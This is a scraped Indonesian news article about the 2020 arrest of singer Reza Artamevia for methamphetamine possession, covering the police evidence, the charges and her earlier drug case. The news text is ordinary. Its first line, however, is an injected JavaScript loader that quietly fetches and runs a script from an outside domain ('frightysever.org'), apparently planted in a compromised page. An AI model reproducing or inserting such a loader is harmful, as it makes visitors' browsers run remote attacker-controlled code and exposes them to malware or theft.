(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: selebriti

Polisi Beberkan Barang Bukti Reza Artamevia, Simpan Sabu di Dompet


KANALKALIMANTAN.COM, JAKARTA – Penyanyi Reza Artamevia ditangkap aparat kepolisian di sebuah restoran di kawasan Jatinegara, Jakarta Timur pada Jumat (4/9/2020) sore.

Saat diamankan, polisi mendapatkan barang bukti berupa satu paket klip sabu seberat 0.78 gram di dompet di dalam tas milik Reza Artamevia.

“Barang bukti yang berhasil kita amankan adalah satu klip sabu-sabu seberat 0,78 gram ada di dompet,” kata Kabid Humas Polda Metro Jaya, Kombes Pol Yusri Yunus di Polda Metro Jaya, Minggu (6/9/2020).

Selain itu, Reza Artamevia pun kooperatif mengakui bahwa barang itu adalah miliknya. Saat dites urine, bukti lainnya pun muncul.

Penyanyi Reza Artamevia saat dirilis kepada awak media usai dirinya kembali ditangkap akibat penyalahgunaan narkoba di Polda Metro Jaya, Jakarta, Minggu (6/9). [Suara.com/Alfian Winanto]

“Hasil tes urine positif anfetamin atau masuk dalam kategori narkotika jenis sabu-sabu,” jelasnya.

Usai penangkapan, polisi juga mengembangkan penyelidikan dengan menyambangi rumah penyanyi berusia 45 tahun itu. Kemudian, ditemukan bukti lain selain yang disebutkan di atas.

“Setelah itu polisi melakukan pengembangan dengan menggeledah kediaman Reza Artamevia di kawasan Cirendeu, Tangerang Selatan dan ditemukan alat hisap narkoba,” jelasnya.

“Di dalam rumahnya yang kita temukan adalah alat hisap bong dan korek api,” tutur Yusri Yunus lagi.

Dalam pemeriksaan dan pendalaman perkara, Reza Artamevia mengaku mendapatkan barang haram tersebut dari seorang pengedar berinisial F.

“Kita lakukan pendalaman yang bersangkutan u mengetahui darimana asal muasal barang haram itu. Kemudian satu yang menjadi DPO pengejaran kita inisialnya adalah F,” terang Yusri Yunus.

Atas kesalahannya itu, Reza Artamevia terancam hukuman penjara paling singkat empat tahun hingga paling lama 12 tahun.

“Pasal yang kami sangkutan Pasal 112 ayat 1 subsider pasal 127 ayat 1 UU No.35 tahun 2009 tentang narkotika dengan hukuman paling singkat 4 tahun dan paling lama 12 tahun penjara,” jelas Yusri Yunus.

Sekedar diketahui, ini bukan kali pertama Reza Artamevia tersandung kasus narkoba.

Pada 2016, ia diamankan bersama guru spiritualnya, Aa Gatot Brajamusti saat berada di hotel Kawasan Mataram, Nusa Tenggara Barat.

Dia menambah daftar panjang selebriti yang bersinggungan dengan barang haram tersebut. Beberapa waktu lalu, Jaka Hidayat yang merupakan mantan drummer BIP juga tersandung kasus serupa.

Ada pula Jamal si Preman Pensiun, Anton J-Rocks, Catherine Wilson, hingga bintang FTV yang ditangkap dalam waktu yang berdekatan. (Suara)


Al Ghifari

Recent Posts

Penerimaan Pajak DJP Kalselteng 2024 Capai Angka Rp31,65 Triliun

KANALKALIMANTAN.COM, BANJARMASIN - Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng)… Read More

7 jam ago

Perebutan Gelar Bergengsi Supercopa de España, RCTI Siap Menyajikan Drama Sepak Bola Spanyol!

KANALKALIMANTAN.COM - Supercopa de España atau dikenal juga sebagai Piala Super Spanyol kembali hadir untuk… Read More

10 jam ago

Bupati HST Terpilih Siap Berdayakan Anggota Komcad

KANALKALIMANTAN.COM, BARABAI – Meski belum dilantik, Bupati Hulu Sungai Tengah (HST) terpilih, Samsul Rizal berjanji… Read More

10 jam ago

Sekda Kalsel ‘Dicari’ OKP, Dituduh Arogan Potong Dana Hibah

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang mengatasnamakan diri dari Organisasi Kemasyarakatan Pemuda (OKP) Kalimantan Selatan (Kalsel)… Read More

11 jam ago

Perindo Kalsel: Sukseskan Pelantikan Kepala Daerah Terpilih

KANALKALIMANTAN.COM, BANJARMASIN – Partai Persatuan Indonesia (Perindo) Kalimantan Selatan (Kalsel) mengajak seluruh pihak untuk menyukseskan… Read More

11 jam ago

Diskon Listrik 50% Januari-Februari Mulai Berlaku, Beli Token Bisa Sepanjang Bulan

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) memastikan paket stimulus ekonomi berupa potongan tarif listrik 50%… Read More

12 jam ago

This website uses cookies.